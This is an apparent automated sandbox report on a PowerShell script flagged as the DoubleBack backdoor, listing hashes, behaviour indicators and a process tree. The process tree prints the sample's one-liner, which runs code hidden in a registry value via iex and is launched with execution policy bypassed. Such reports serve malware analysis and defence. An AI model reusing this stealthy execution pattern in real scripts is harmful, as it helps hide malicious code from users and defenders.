Analysis

  • max time kernel
    92s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    03-06-2022 12:15

General

  • Target

    1127.ps1

  • Size

    144KB

  • MD5

    c81a105cc43cfc5cf1235ecd00f13ba2

  • SHA1

    24fc2bb78929f8060894c6db3eb59f14bcfc6ccd

  • SHA256

    aa165be74685672c97476ffb5f1536bcf23269db4bde4537206b49fd61805d97

  • SHA512

    57641cab24cc922012a15ded50c977c6c3813ac5320a93883c33a4364073a1c410d9b3b6924d9f383d4262e244e3876d35624dd2435016820394bd005660d938

Score
10/10

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1127.ps1
    1⤵
    • Blocklisted process makes network request
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:504
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "&{$v1='2674';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:456

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/456-140-0x0000000000000000-mapping.dmp

  • memory/456-142-0x00007FFD62CD0000-0x00007FFD63791000-memory.dmp

    Filesize

    10.8MB

  • memory/456-141-0x00007FFD62CD0000-0x00007FFD63791000-memory.dmp

    Filesize

    10.8MB

  • memory/504-136-0x000001B553DD9000-0x000001B553DDF000-memory.dmp

    Filesize

    24KB

  • memory/504-134-0x000001B553DD9000-0x000001B553DDF000-memory.dmp

    Filesize

    24KB

  • memory/504-135-0x00007FFD62CD0000-0x00007FFD63791000-memory.dmp

    Filesize

    10.8MB

  • memory/504-130-0x000001B556260000-0x000001B556282000-memory.dmp

    Filesize

    136KB

  • memory/504-137-0x000001B556420000-0x000001B55642A000-memory.dmp

    Filesize

    40KB

  • memory/504-138-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/504-133-0x00007FFD62CD0000-0x00007FFD63791000-memory.dmp

    Filesize

    10.8MB

  • memory/504-132-0x000001B553DD9000-0x000001B553DDF000-memory.dmp

    Filesize

    24KB

  • memory/504-131-0x00007FFD62CD0000-0x00007FFD63791000-memory.dmp

    Filesize

    10.8MB

  • memory/1504-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/1504-143-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB